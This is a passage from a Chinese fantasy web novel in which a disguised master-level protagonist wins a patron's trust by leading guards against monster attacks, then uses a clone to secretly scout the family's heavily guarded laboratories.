实力,气息稳得不像话,不像是强行突破的虚浮,反而带着一种厚积薄发的扎实 —— 这种心性,这种底蕴,绝不是普通的高级能力者能比的。 他自己也说不清楚,为什么会对一个 “速度类” 能力者如此看好。 毕竟在所有人眼里,速度类能力者晋升难、耗费大,是最不划算的投资。 可柳泽川心里就是有一股强烈的直觉,像是有个声音在告诉他:“投资这个人,绝对不会出错。” 这份直觉没有任何道理可言 —— 没有数据支撑,没有先例参考,甚至和他以往的投资逻辑都背道而驰。 可柳泽川还是愿意相信这份 “心血来潮” 的感觉。 他这辈子靠直觉做过两次决定,一次是十年前力排众议,把后勤物资优先供给了当时还不起眼的柳家旁系子弟,后来那位子弟成了集团的顶梁柱,也成了他最坚实的盟友;另一次是五年前,他放弃了和实力强劲的王家合作,转而选择了刚起步的林家,最后林家凭借一项新技术崛起,让柳家赚得盆满钵满。 所以这一次,面对张玉汝,柳泽川依然选择相信自己的直觉。 他愿意花上一整天的时间,愿意把观澜苑的别墅拱手相让,愿意在后续的资源分配里,给张玉汝开 “特例”—— 他赌的,就是张玉汝未来能突破大师级,能成为那个让他在柳家站稳脚跟、甚至更上一层楼的 “底牌”。 “姜兄弟,” 柳泽川放下茶杯,脸上露出真诚的笑容,“中午我让人在‘望湖楼’订了位置,那里的清蒸月牙鱼是云溪镇的招牌,小雪姑娘应该会喜欢。吃完饭若是有空,我再带你们去镇上的珍宝阁逛逛,那里有不少适合能力者用的小玩意儿,或许能帮上你们的忙。” 他说这话时,语气里没有半分刻意的讨好,反而像是真心实意想给朋友推荐好去处。 柳泽川坐在观澜苑别墅的客厅里,指尖还在斟酌着午宴的菜单 —— 他本想问问张玉汝(此刻对外称 “姜离”)的口味偏好,是偏爱清淡的湖鲜,还是更喜醇厚的红肉,毕竟他并不急于让这位 “姜先生” 立刻为柳家做些什么。 在柳泽川看来,拉拢人心就像熬汤,得慢慢煨着才有味道,哪怕姜离短时间内没什么亮眼表现,他也有足够的耐心等下去,等对方真正放下戒备,愿意主动为自己所用。 可这份从容的盘算,很快就被一阵突如其来的异常打断了。 彼时窗外的阳光正暖,庭院里的垂丝海棠还在微风中轻轻晃着花瓣,张玉汝刚端起茶杯,指尖却忽然一顿 —— 一股微弱却异常的能量波动,正从云溪镇外围的方向传来,像投入平静湖面的石子,虽不汹涌,却带着几分让人心悸的凶戾。 他原本舒展的眉头微微蹙起,眼神下意识地望向别墅大门的方向,目光仿佛能穿透院墙,直抵镇外的山林。 这股能量波动算不上有多强烈,大概只相当于中级能力者的水准,寻常人或许只会觉得空气里多了几分沉闷,可在张玉汝敏锐的感知里,那波动中夹杂着异兽特有的腥躁气息,而且不止一道 —— 显然,来的不是单独一只异兽。 柳泽川很快注意到了张玉汝的异样,他放下手里的菜单,脸上的笑容淡了几分,带着几分疑惑开口:“姜先生,可是我这里有什么招待不周的地方?若是觉得茶不合口,我让人换些别的来。” 在他看来,姜离此刻的表情,或许是对住处或安排有不满,毕竟这位 “姜先生” 看着沉稳,心思未必好猜。 张玉汝收回目光,对着柳泽川轻轻摇了摇头,嘴角还带着一丝若有若无的笑意:“柳先生说笑了,你安排的住处雅致,待人又周到,完全挑不出半分问题。只是…… 我们恐怕在这里待不了太久了。” 他的声音很平静,却让柳泽川心里莫名一沉 —— 他隐约觉得,姜离说的不是客套话,而是真的有什么事要发生。 这份预感刚冒出来,柳泽川腰间的通讯器就突然震动起来,尖锐的铃声打破了客厅里的宁静。 他连忙按下接听键,里面立刻传来家族护卫队队长急促的声音:“柳先生!不好了!镇外西山林区突然冲出来一群异兽,已经伤了两个巡逻的兄弟,长老们让您立刻带能调动的能力者过去支援!” 柳泽川脸上的从容瞬间消失,取而代之的是几分凝重,他对着通讯器连声应道:“是、是!我马上就到,你们先稳住局面,别让异兽靠近镇中心!” 挂断通讯器后,他转头看向张玉汝,语气里多了几分恳切:“姜先生,实在抱歉,云溪镇外突发异兽入侵,眼下家族人手紧张,恐怕要麻烦你出手相助了。” 张玉汝闻言没有半分犹豫,当即站起身,顺手理了理身上的衣摆,点头道:“这是应有之义。” 毕竟他现在顶着 “姜离” 的身份,拿着柳家的好处,眼下柳家有难,于情于理都没有袖手旁观的道理。 只是想到这里,张玉汝心里忍不住掠过一丝自嘲 —— 柳泽川为了拉拢他,又是送别墅又是备宴席,他连这些 “好处” 的边都还没好好沾到,连口热饭都没吃上,就要先提着劲儿去对付异兽了。 这 “吃人嘴软,拿人手短” 的道理,应验的速度倒是来得比他预想中快得多。 柳泽川见他答应得干脆,脸上立刻露出几分感激,连忙说道:“多谢姜先生!护卫队的人已经在镇西入口等着了,我们现在过去,路上我再跟你说异兽的情况!” 说着便快步引着张玉汝往门外走,原本准备好的午宴,此刻早已被抛到了九霄云外。 乌木马车在青石板路上疾驰,车轮碾过路面的声响格外急促,车厢里的气氛却比来时凝重了许多。 柳泽川坐在一侧,手里攥着通讯器,不断接收着前方传来的消息,偶尔抬头看向身旁闭目养神的张玉汝,眼神里多了几分此前没有的郑重。 方才在观澜苑时,张玉汝那句“我们应该在这里待不了太久了”还在他耳边回响——那时他只觉得疑惑,直到接到家族的紧急通知才猛然醒悟,原来张玉汝早早就感知到了镇外的异常。 要知道,那股能量波动连柳家布置在镇外的预警法阵都没能第一时间捕捉到,对方却仅凭自身感知便察觉端倪,这份敏锐程度,远非普通高级能力者能及。 柳泽川越想越心惊,也越发确定自己没看错人——这位“姜先生”,果然是个藏着真本事的狠角色。 “姜先生,”柳泽川主动打破沉默,语气里带着明显的敬佩,“方才在苑里您提醒时,我还没明白其中缘由,现在想来,您怕是早就感知到异兽的动静了吧?您这感知力,真是让人佩服。” 他说这话时,刻意放低了姿态,不再是此前那种略带功利的拉拢,反而多了几分对强者的尊重。 张玉汝缓缓睁开眼,目光落在窗外飞速倒退的街景上,淡淡开口:“只是对能量波动敏感些罢了,算不得什么本事。”话虽谦逊,却自带一种从容不迫的底气。 柳泽川却不敢真把这话当谦虚,连忙补充道:“这怎么能算不算本事?镇外的预警法阵是柳家花重金请大师级阵法师布下的,连它都没反应,您却先一步察觉,这要是传出去,怕是整个云溪镇的能力者都要羡慕。” 说着,他还从储物袋里取出一枚通体莹白的玉佩,双手递到张玉汝面前:“这是柳家特制的‘护心玉’,能抵挡一次高级异兽的全力攻击,您先拿着,一会儿应对异兽时也多份保障。” 这份举动格外诚恳,没有半分敷衍。 张玉汝看了一眼那枚泛着温润光泽的玉佩,没有推辞,伸手接了过来:“多谢柳兄费心。” 马车很快抵达镇西入口,这里已经聚集了十多位柳家的护卫,每个人脸上都带着紧张。 看到柳泽川和张玉汝下车,为首的护卫队长立刻迎上来:“柳先生,您可来了!异兽已经突破了外围防线,正在往镇口冲,我们几次阻拦都没能成功,已经伤了三个兄弟了!” 柳泽川脸色一沉,转头看向张玉汝,语气恭敬地问道:“姜先生,您看接下来咱们该怎么应对?您经验丰富,还请您多指点。”他没有像往常一样直接下达命令,反而把决策权交给了张玉汝——这既是对张玉汝能力的认可,也是一种刻意的示好。 张玉汝目光扫过前方弥漫着淡淡腥气的山林入口,能清晰感知到五道异兽的气息,其中三道较为强横,另外两道稍弱。 他沉吟片刻,开口道:“先让受伤的兄弟撤到后方休整,剩下的人分成两组,一组在镇口布防,防止异兽突破;另一组跟我去正面阻拦,先解决掉那两只较弱的异兽,再集中火力对付剩下的。” 他的指令清晰明确,没有半分拖泥带水。柳泽川立刻点头应道:“好!就按姜先生说的办!”说着便转身对护卫队长吩咐起来,语气严厉却有条不紊。 待护卫们迅速行动起来,柳泽川才又转向张玉汝,主动说道:“姜先生,我跟您一起去正面阻拦,我虽然是后勤部门的,但也有些自保能力,能帮您打打下手。” 这话里的姿态放得更低,完全是把自己摆在了辅助的位置。 张玉汝看了他一眼,知道他是想近距离观察自己的实力,也不戳破,只是淡淡点头:“也好,注意安全。” 两人并肩朝着镇子入口走去,柳泽川跟在张玉汝身侧,目光始终落在他的背影上。此刻他心里再没有半分疑虑,只觉得庆幸——幸好自己当初果断拉拢姜离。 而他更期待的是,接下来姜离在对付异兽时,能展现出更惊人的实力,让那些此前轻视姜离的柳家长老们好好看看,他柳泽川的眼光,到底有多准。 第 13章 证明 云溪镇入口的腥风越来越浓,伴随着枯枝断裂的脆响,五道灰影终于从密林里窜了出来——是“裂地蜥”。 一种以速度和利爪见长的异兽,通体覆盖着青灰色鳞片,眼睛泛着嗜血的红光,最前端的爪子还沾着新鲜的血迹,显然是刚才伤了巡逻护卫时留下的。 为首的那只裂地蜥体型比同类大了一圈,鳞片缝隙里隐约透着淡紫色,竟是只快要突破到高级的变异个体。 柳泽川下意识地握紧了腰间的短刀,掌心微微出汗——裂地蜥行动迅猛,寻常能力者很难跟上它们的速度,更别说这几只里还有变异个体。 可他转头看向身旁的张玉汝时,却见对方脸上没有半分慌乱,甚至还在仔细观察着裂地蜥的动向,指尖轻轻敲击着掌心,像是在计算最佳出击时机。 “柳兄,让布防的兄弟注意规避,裂地蜥的利爪能轻易划开普通铁甲,别硬扛。” 张玉汝的声音冷静得像是在陈述一件再平常不过的事,说话间已经从储物袋里取出一把泛着寒光的短刃——那是他伪装身份时特意准备的武器,刀刃薄而锋利,最适合应对速度型异兽。 话音刚落,最右侧那只体型稍小的裂地蜥突然发难,后腿蹬地跃起,朝着镇口布防的护卫扑去,利爪在空中划出一道冷光。 护卫们刚想举盾格挡,却见张玉汝身形一晃,竟比裂地蜥的速度还快几分,瞬间出现在那只裂地蜥身后,短刃精准地刺向它鳞片覆盖的薄弱处——是颈后三寸的位置,那里是裂地蜥的要害,也是所有速度型异兽最难防备的地方。 “噗嗤”一声,刀刃没入鳞片,裂地蜥发出一声凄厉的嘶鸣,重重摔在地上,挣扎了几下便没了动静。整个过程不过两息时间,快到护卫们都没看清张玉汝的动作,只觉得眼前一花,那只原本凶戾的异兽就已经倒地不起。 柳泽川瞳孔微缩——他知道姜离是速度类能力者,却没想到对方能把速度运用得如此精准,不仅快,还能在高速移动中找准异兽的要害,这份对异兽弱点的熟悉程度,绝不是临时抱佛脚能做到的。 “第二只在左侧,注意它的假动作!”张玉汝解决掉第一只裂地蜥后,没有停顿,立刻提醒身旁的护卫。 果然,左侧那只裂地蜥假意扑向护卫,中途却突然变向,朝着后方受伤休整的护卫冲去,显然是想找软柿子捏。 可张玉汝早有预判,提前绕到它的必经之路,左脚在地面轻轻一点,身形借力腾空,短刃横着划出一道弧线,正好切断了裂地蜥的后腿肌腱。 裂地蜥失去平衡摔倒在地,没等它爬起来,张玉汝已经落地,刀刃再次精准刺入它的要害。 短短半柱香时间,两只较弱的裂地蜥就被解决,剩下的三只——包括那只变异裂地蜥,明显变得警惕起来,围着张玉汝等人转圈,却不敢轻易发起攻击。 “姜先生,您太厉害了!”一名护卫忍不住感叹,刚才的紧张感消散了大半,看向张玉汝的眼神里满是敬佩。 柳泽川也松了口气,连忙上前说道:“姜先生对裂地蜥的弱点了如指掌,刚才那两下真是干净利落!” 张玉汝擦了擦刀刃上的血迹,语气依旧平静:“裂地蜥的鳞片虽然坚硬,但颈后、腹下和后腿肌腱是三大弱点,只要找对位置,不用太强的力量就能解决。它们习惯先攻击弱者分散注意力,对付它们就得先断其‘声东击西’的念头。” 说着,他看向那只变异裂地蜥,“这只快突破高级了,鳞片更硬,爪子还带毒,得先限制它的速度。” 话音刚落,变异裂地蜥突然发出一声嘶吼,周身泛起淡紫色的光晕,速度陡然提升,朝着张玉汝扑来。 张玉汝早有准备,侧身避开的同时,从储物袋里取出几枚银色的短针,挥手朝着裂地蜥的四肢射去——那是“滞速针”,专门针对速度型异兽,能暂时麻痹它们的肌肉,减缓移动速度。 短针精准地刺入变异裂地蜥的腿关节,它的动作果然慢了下来,眼中闪过一丝焦躁。 张玉汝抓住这个机会,对身旁的柳泽川和护卫们喊道:“集中火力攻击它的腹下!” 柳泽川立刻反应过来,抽出长刀朝着变异裂地蜥的腹下刺去,护卫们也纷纷发动能力——有操控土刺的,有释放火球的,虽然力量不算顶尖,但在张玉汝的指挥下,攻击全都落在了变异裂地蜥的弱点上。 变异裂地蜥惨叫连连,鳞片不断脱落,腹下很快被鲜血染红。 最后,张玉汝纵身跃起,短刃带着凌厉的风声,再次刺入它的颈后要害。 变异裂地蜥轰然倒地,庞大的身躯抽搐了几下便没了气息。 剩下的两只普通裂地蜥见首领被杀,吓得想要逃跑,却被早有准备的护卫们围堵起来,很快也被解决。 战斗结束,镇口的腥气渐渐散去。柳泽川看着地上的异兽尸体,再看看神色依旧从容的张玉汝,心里的敬佩又深了几分——从预判异兽动向,到精准攻击弱点,再到指挥众人配合,姜离的每一步都透着专业,比柳家专门负责御兽的护卫还要厉害。 他走上前,递过一块干净的手帕,语气诚恳:“姜先生,今天多亏了您,不然镇口怕是要遭殃了。您这对付异兽的本事,真是让我大开眼界。” 张玉汝接过手帕擦了擦手,淡淡道:“只是经验多了些罢了。” 解决完几只中级裂地蜥,张玉汝垂眸看着刀刃上残留的血迹,心里没半分波澜——对他而言,对付这种级别的异兽不过是举手之劳,所谓的“高深莫测”,不过是为了贴合“姜离”这个身份的伪装。 可没等他收起短刀,鼻腔里突然涌入一股更浓烈的腥气,伴随着地面细微的震颤,五道比刚才更强劲的能量波动,正从五百米外的密林深处快速逼近。 “小心,还有其他异兽,而且实力更强!”张玉汝猛地握紧短刀,原本平静的眼神瞬间变得锐利,周身气息也陡然紧绷,做出一副如临大敌的姿态——那几道能量波动里,分明夹杂着高级异兽特有的威压,绝非刚才的中级裂地蜥可比。 柳泽川和护卫们见状,刚放松的神经立刻重新绷紧,纷纷举起武器对准密林入口。 柳泽川甚至下意识地往张玉汝身侧靠了靠,声音带着几分凝重:“姜先生,这气息……难道是高级异兽?” “是‘赤焰鬃狼’,”张玉汝的目光紧紧盯着密林深处晃动的树影,语速极快地解释,“这种异兽擅长火焰攻击,速度比裂地蜥更快,还会群体配合,单个能力者根本不是对手。” 话音刚落,五只通体覆盖着赤红色毛发的狼形异兽便冲了出来,它们的鬃毛燃烧着淡红色的火焰,每一步踏在地上,都会留下细小的火痕,为首的那只鬃狼体型最大,鬃毛间的火焰颜色更深,显然是首领。 赤焰鬃狼刚现身,便朝着护卫们喷出五道火球,灼热的气浪扑面而来。 张玉汝反应最快,侧身避开火球的同时,高声下令:“李护卫,用土盾挡住正面攻击!王护卫,你和赵护卫绕到左侧,用冰系能力压制它们的火焰!柳兄,你跟我负责右侧,牵制住那只首领!” 他的指令清晰且精准,瞬间将四名中级能力者的护卫分成了三个小组,完美契合了每个人的能力属性——李护卫是土系能力者,防御最强;王、赵两位护卫是冰系,正好克制赤焰鬃狼的火焰;而柳泽川虽主攻后勤,却也有中级木系能力,能辅助牵制。 护卫们来不及多想,立刻按照张玉汝的指令行动。 李护卫双手按在地上,一道厚重的土盾拔地而起,精准挡住了后续袭来的火球,“砰”的一声闷响,火球撞在土盾上,只留下几道焦黑的痕迹。 王、赵两位护卫则迅速绕到左侧,双手凝聚出冰箭,朝着赤焰鬃狼的鬃毛射去——冰箭触碰到火焰的瞬间,冒出阵阵白雾,虽然没能完全熄灭火焰,却让火势明显减弱。 与此同时,张玉汝已经提着短刀冲向右侧的首领鬃狼。那只首领显然察觉到了威胁,猛地转身,朝着他喷出一道更粗的火焰柱。 张玉汝脚步不停,身体灵活地在火焰柱的缝隙中穿梭,速度快得留下一道道残影。 柳泽川则在一旁配合,双手凝聚出藤蔓,缠住首领鬃狼的后腿,试图限制它的移动。 “柳兄,别缠后腿,它的爆发力强,会挣断藤蔓!”张玉汝的声音及时传来,“用藤蔓缠住它的前爪,限制它的攻击角度!” 柳泽川立刻调整方向,藤蔓迅速缠绕住首领鬃狼的前爪,虽然很快被对方挣得松动,却也为张玉汝争取了时机。 张玉汝抓住这一瞬间的空隙,纵身跃起,短刀对准首领鬃狼的左眼刺去——那是赤焰鬃狼的要害之一,也是火焰防御最弱的地方。 首领鬃狼察觉不对,想要仰头躲避,却被柳泽川再次用藤蔓缠住前爪,动作慢了半拍。 “噗嗤”一声,短刀精准刺入左眼,首领鬃狼发出一声凄厉的嘶吼,周身火焰瞬间暴涨,却因为剧痛变得混乱。 “左侧的冰箭集中攻击它的右眼!”张玉汝落地后,立刻转向左侧的护卫们下令。 王、赵两位护卫立刻调整目标,冰箭密集地射向首领鬃狼的右眼,虽然大部分被火焰挡住,却有一支冰箭成功命中。 首领鬃狼彻底失去了视力,变得狂躁起来,胡乱地喷射火焰,反而误伤了身旁两只普通的赤焰鬃狼。 “李护卫,土盾推进,把受伤的鬃狼逼到一起!”张玉汝抓住机会,再次下达指令。 李护卫立刻操控土盾缓缓推进,将三只受伤的赤焰鬃狼逼到了镇口的墙角处。 张玉汝则提着短刀冲上前,利用速度优势,不断攻击它们的咽喉要害——那里没有火焰保护,是赤焰鬃狼的另一个弱点。 柳泽川和护卫们也纷纷跟上,在张玉汝的指挥下,各司其职:李护卫负责防御,挡住偶尔袭来的火球;王、赵两位护卫用冰箭持续压制火焰;柳泽川则用藤蔓缠住鬃狼,为张玉汝创造攻击机会。 原本凶险的高阶异兽突袭,在张玉汝的精准指挥下,竟渐渐变得有序起来。 半个时辰后,最后一只普通赤焰鬃狼倒在地上,只剩下瞎了双眼的首领鬃狼还在挣扎。 张玉汝深吸一口气,提着短刀走到它面前,趁它胡乱嘶吼的间隙,一刀刺入它的咽喉。 首领鬃狼庞大的身躯晃了晃,轰然倒地,周身的火焰渐渐熄灭。 战斗结束,所有人都松了口气,护卫们的衣服上或多或少沾着焦痕,脸上却满是劫后余生的庆幸。 柳泽川走到张玉汝身边,看着他身上几乎没有任何狼狈的痕迹,语气里的敬佩已经溢于言表:“姜先生,您不仅身手厉害,指挥更是厉害!若不是您安排得当,我们今天怕是很难应付这些赤焰鬃狼。” 张玉汝收起短刀,故意露出一丝疲惫的神色——既不能表现得太过轻松,也不能显得力竭,这正是“高手”该有的分寸。 “只是刚好熟悉赤焰鬃狼的习性罢了,”他淡淡开口,“多亏了各位配合,不然我也很难应付。” 这话看似谦逊,却让柳泽川和护卫们更加信服——能在对付高阶异兽时,不仅自己战力惊人,还能把中级能力者的护卫们调配得井井有条,这样的人,才是真正的强者。 柳泽川看着地上的赤焰鬃狼尸体,心里越发庆幸自己当初的决定——拉拢到这样一位既有实力又懂指挥的高手。 镇口的硝烟渐渐散去,五只赤焰鬃狼与此前五只裂地蜥的尸体整齐地排列在空地上,暗红色的血迹与焦黑的火痕交织,无声诉说着刚才战斗的激烈。 张玉汝站在尸体旁,正低头检查赤焰鬃狼的獠牙——那是炼制武器的好材料,虽对他无用,却能当作“姜离”融入柳家的寻常举动。 柳泽川快步走了过来,目光扫过地上的异兽尸体,又落在张玉汝身上,脸上的笑容再也藏不住,眼底满是抑制不住的欣喜。 他抬手拍了拍张玉汝的肩膀,语气里满是赞叹:“姜先生,您这实力真是没得说!五只高级赤焰鬃狼,还有之前五只中级裂地蜥,换做旁人,就算是调动三倍人手也未必能这么快解决,您倒好,不仅自己身手利落,还把我们这些人调配得妥妥帖帖,这本事,整个柳家怕是没几个人能比!” 这话并非刻意奉承。 柳泽川心里清楚,云溪镇这次异兽入侵并非个例,其他防区或多或少都遭遇了袭击,只是规模不同。 他负责的这片镇西防区,不仅遭遇了中级异兽,还突袭了五只高级赤焰鬃狼,若是换做往常,至少要等到家族长老支援才能稳住局面,说不定还会出现不小的伤亡。 可这次,因为有张玉汝在,不仅零伤亡解决了所有异兽,还缴获了十只异兽的尸体——这些尸体的皮毛、獠牙、内丹,全都是价值不菲的材料,足以让后勤部门的功绩再添一笔。 “都是大家配合得好。”张玉汝收起目光,语气依旧平淡,只是刻意放缓了呼吸,让自己看起来多了几分“战后疲惫”,更贴合“高级九段能力者激战过后”的状态。 柳泽川却不认同这话,摇着头反驳:“话可不能这么说!若不是您提前察觉异兽动向,又精准指挥,我们哪能这么顺利?您是没看到,刚才其他防区的通讯还在求援,咱们这儿已经收拾完了,这对比一看,咱们防区的表现绝对是顶尖的!” 他越说越兴奋,忍不住开始盘算后续——家族每月都会召开防区总结会议,所有负责人都要汇报各自防区的情况。 以往他负责的后勤部门,虽在物资调配方面从不出错,却也难得有“战功”可提,总显得有些平庸。 可这次不一样,镇西防区不仅成功抵御异兽入侵,还取得了“零伤亡、全歼灭”的战绩,更重要的是,这战绩背后,是他拉拢的“姜离”立下的功劳——这不仅能让他在会议上大放异彩,还能向家族证明他的识人眼光,让那些质疑他“浪费资源拉拢一个速度类能力者”的人闭嘴。 想到这里,柳泽川的笑容越发灿烂,他看向张玉汝的眼神里,除了敬佩,又多了几分亲近:“姜先生,这次真是多亏了您!等家族会议结束,我一定亲自设宴,好好感谢您!到时候咱们去云溪镇最好的‘醉仙楼’,让您尝尝那里的招牌菜,保证您满意!” 张玉汝微微颔首,没有过多回应,只是目光再次投向镇外的密林——他知道,这次异兽入侵只是个开始,柳家的注意力会因为这次战绩集中在柳泽川身上,而他也能借此机会,更顺利地接触到柳家的核心信息。 柳泽川却没察觉到张玉汝的心思,依旧沉浸在对未来的期待中。 他招呼护卫们收拾异兽尸体,又特意叮嘱要妥善保存赤焰鬃狼的内丹,一举一动都透着细致。 偶尔抬头看向张玉汝时,眼神里的认可与重视,比之前又深了几分——在他心里,这位“姜先生”已经不仅仅是“值得投资的潜力股”,更是能帮他在柳家站稳脚跟、甚至更进一步的“贵人”。 第 14章 两月 云溪镇的晨雾还未散尽,带着山间湿润的凉意笼罩着镇西防区,训练场上却已传来整齐有力的呼喝声,刺破了清晨的静谧。 张玉汝身着一身玄色劲装,墨发用一根简单的玉簪束起,正站在训练场中央,手持一根木杆,耐心指导护卫们调整协同防御的阵型。 他脚步轻移,每一次抬手都精准指向阵型的薄弱处,声音不高却带着不容置疑的穿透力:“左侧的间距再缩小半尺,李护卫的土盾要能护住身旁两人,王护卫的冰箭准备时间太长,得再练,异兽不会给你喘息的机会。” 自从两个月前第一次出手击退裂地蜥与赤焰鬃狼后,这样的晨训场景便成了镇西防区的日常。 张玉汝从不会因为护卫们是中级能力者便放松要求,小到出拳的角度,大到多兵种配合的节奏,他都一一纠正,甚至会亲自模拟异兽的攻击方式,让护卫们在实战演练中熟悉应对技巧。 时间在一次次突如其来的异兽突袭与有条不紊的反击中悄然流逝。 短短两月,张玉汝已带领镇西防区的护卫队,先后击退了七次异兽进攻。 最初的中级裂地蜥,他们只用半个时辰便能解决;后来遇上速度更快的高级赤焰鬃狼,护卫们在张玉汝的指挥下,也能做到零伤亡歼灭。 最惊险的一次,是遭遇兽王级“铁甲犀”的突袭——那只铁甲犀通体覆盖着半尺厚的青黑色鳞片,寻常高级能力者的攻击落在上面,连划痕都留不下,它冲锋时的冲撞之力更是恐怖,一蹄便将镇口半丈厚的防御石墙撞出了裂痕。 当时护卫们吓得脸色发白,连柳泽川都握紧了拳头,准备发信号向家族求援。 可张玉汝却毫无惧色,只留下一句“你们守住防线,别让它冲进镇里”,便提着短刀冲了上去。 他没有硬抗铁甲犀的冲撞,反而凭借极致的速度,像一道黑影般绕到铁甲犀的盲区——那是铁甲犀视线无法覆盖的脖颈后侧。 短刀一次次刺向铁甲犀眼部周围的薄弱鳞片,每一次攻击都精准狠辣,硬生生将暴怒的铁甲犀牵制在镇口,拖了整整半个时辰,直到柳家长老带着支援队伍赶到。 那场战斗结束后,三名护卫因掩护民众撤离受了重伤,却无一人阵亡——要知道,在以往兽王级异兽突袭的案例中,防区往往要付出半数以上的伤亡才能稳住局面,镇西防区的这份战绩,在整个柳家乃至云溪镇,都堪称近乎奇迹的存在。 消息传回柳家时,连几位素来严苛、从不轻易夸人的长老,都在家族会议上忍不住称赞:“镇西防区能做到这份上,实属难得。” 而镇西防区“零阵亡”的记录,也成了整个柳家防区体系里的标杆,其他防区的负责人,都纷纷派人来请教经验。 这份辉煌战绩,直接让柳泽川在柳家内部彻底“挂了号”。 以往开家族会议时,他总是坐在角落的位置,即便主动发言,也鲜少有人在意,更多时候只是充当“旁听者”。 如今却能坐在靠近长老席的靠前位置,每当议题涉及防区治理或异兽应对,长老们总会特意看向他,询问:“泽川,你那边经验多,说说你的看法。” 权力与资源也随之而来——他负责的防区范围,从最初仅覆盖镇西一隅,扩展到了整个云溪镇西侧的山林边界,麾下的护卫人数也增加了一倍;能调配的资源更是翻了几番。 以往需要层层审批才能拿到的稀有矿石、疗伤丹药,如今他一句话便能优先调用;甚至连柳家直系子弟才能优先使用的修炼密室,他都能申请到固定的使用权,不必再看旁人脸色。 旁人都羡慕柳泽川“时来运转”,可他自己比谁都清楚,这一切的根源,都是张玉汝。 若是没有“姜先生”次次在危急时刻力挽狂澜,没有那些“零阵亡”的亮眼战绩,他依旧是那个在后勤部门小心翼翼、要看长老和同辈脸色的中层管事,永远没有出头的机会。 所以,柳泽川对张玉汝的拉拢,比最初更甚,且多了几分褪去功利后的真心实意。 他不再是简单地送宅院、设宴席,而是将自己能接触到的最优资源,毫无保留地优先送到张玉汝面前——他记得张玉汝是速度类能力者,便托常年在外跑商的朋友,从千里之外的青州高价收购能提升速度的“疾风草”。 每月月初,总会亲自将烘干的疾风草送到观澜苑,还细心附上研磨成粉的使用方法。 听说张玉汝偶尔会在书房研究异兽习性,他便顶着压力,向家族古籍库申请抄录了孤本《异兽图鉴》,不仅一字一句抄得工整,还在空白处附上了柳家几位长老对各类异兽的应对心得,用红笔标注出关键要点。 甚至连自己好不容易申请到的修炼密室使用权,他都主动让出一半时间,只留下深夜的三个时辰供自己修炼,其余时间全留给张玉汝,还特意叮嘱看管密室的仆人:“姜先生来修炼时,无论什么事,都别去打扰。” 除了全力拉拢张玉汝,柳泽川也没忘了被张玉汝带在身边的小雪。 在他看来,张玉汝已是站在高级能力者巅峰的人物,寻常的宝物、资源,对他的吸引力有限,真正能让他上心的,或许是身边人的安危与成长。 与其把所有功夫都花在张玉汝身上,不如多在小雪身上下功夫,既能让张玉汝感受到诚意,也能间接稳住这位“贵人”。 他特意打听了小雪的能力属性——冰霜类,这类能力在雍州不算太常见,相关的修炼资源更是稀缺。 为了找到适合小雪的资源,柳泽川几乎动用了自己所有的人脉,先是托人从极北之地运来能滋养冰霜之力的“寒魄晶”,又为她寻来一本早已绝版的《冰霜类技能大全》 这份用心没有白费。 在柳泽川的资源扶持,以及张玉汝偶尔的指点下,小雪的进步速度惊人——两个月前,她还只是一个有些青涩的能力者,连凝聚出完整的招式都困难;如今却已成功突破到初级九段,指尖凝聚的冰刃不仅锋利度提升了数倍,还能短暂冻结小范围的地面,距离中级能力者仅有一步之遥。 镇西防区的晨训仍在继续,玄色劲装的“张玉汝”正用木杆调整着护卫阵型的间距,指尖动作精准,连呵斥护卫时的语气都与平日无异。 可若仔细观察便会发现,这具“躯体”的眼底少了几分深处的锐利,周身气息虽稳定在高级九段,却没有真正强者那种内敛的压迫感——这并非张玉汝的本体,只是他分出的一具分身。 对已站在大师级巅峰的张玉汝而言,凝聚一具拥有高级能力者实力的分身,不过是抬手间的小事。 他只需将自身能量剥离出极小的一部分,再以精神力塑形,便能赋予分身独立行动的能力,甚至能让分身复刻自己平日里的言行举止,足以骗过柳泽川与护卫们的眼睛。 这两个月里,众人看到的“姜先生”,十有八九都是这具分身——分身负责对抗异兽、训练护卫,替他在柳家面前维持着“潜力高手”的形象;而他的本体,则早已借着分身吸引注意力的间隙,悄无声息地潜入了云溪镇的暗处。 分身的存在,本是张玉汝儿时看文娱作品时生出的玩笑般的念头——那时他还未接触能力者世界,只在话本里看到“分身术”的描述,便天真地想:若是能有分身替自己上学、干活,本体就能随心所欲去做喜欢的事,该有多好。 没想到多年后,当他真正掌控大师级巅峰的力量,这个儿时的幻想竟成了现实,只是用途从“偷懒”变成了“布局”。 要论柳家在雍州的根基所在,云溪镇绝对是无可替代的核心——这里不仅是柳家的发家之地,承载着家族百年历史的祖宅静静矗立在镇东,更藏着支撑柳家势力飞速扩张的“命脉”:遍布镇中各处的实验室与药剂生产工厂。 柳家市面上流通的七成常规药剂,从基础的疗伤药,到能辅助能力者修炼的药剂,全都是在这里研发、量产,再输送到柳家各地的据点。 张玉汝这些日子看似忙着指导护卫训练、应对异兽突袭,实则早已将大部分心思放在了探查这些核心场所上。 自从两个月前初到云溪镇,他便对柳家的发展速度心存疑虑——一个十年前还只是区域性小家族的势力,能在短短数年内跻身雍州顶尖家族行列,单靠常规的资源积累与能力者培养,绝无可能。 他隐约觉得,柳家的秘密,多半藏在这些戒备森严的实验室与工厂里。 想要进入这些核心区域并不容易,柳家对核心区域的防护,堪称密不透风。 光是负责监管主要实验室的大师级能力者,便有三位——一位是擅长精神力探测的“镜心大师”,能覆盖实验室周围百米范围,任何活物的精神波动都逃不过她的感知。 擅长精神力探测的 “镜心大师”,常年居于实验室旁的高塔之上,她的精神力能像一张无形的网,覆盖实验室周围整整百米范围。 这份精神力不仅范围广,还精准到可怕 —— 能清晰区分活物的精神波动类型,哪怕是一只飞过的麻雀、一只钻土的田鼠,其微弱的精神波动都会被她捕捉记录。 若是能力者靠近,她甚至能通过精神波动的强度,判断出对方的能力等级与属性。曾有一位高级精神力能力者试图隐藏气息靠近,刚踏入百米范围,就被镜心大师通过精神力直接 “喊话” 警告,吓得当场退走。 操控金属防御的 “铁山大师”,则亲手锻造了实验室的每一寸墙体与大门。 所用的合金中掺入了兽王级异兽 “金刚熊” 的鳞片粉末,硬度是高等合金的五倍以上,哪怕是大师级能力者全力释放的攻击,落在上面也只能留下一道浅浅的白痕,无法造成实质性破坏。 更精妙的是,这些合金还能吸收部分能量攻击 —— 若是有人用火焰、雷电等能力轰击大门,合金会将能量导入地下的传导装置,转化为实验室的备用能源,相当于用攻击者的力量强化自身防御。 精通阵法的 “玄清大师”,则在实验室外围布下了三层 “蛛网阵”。 最外层是 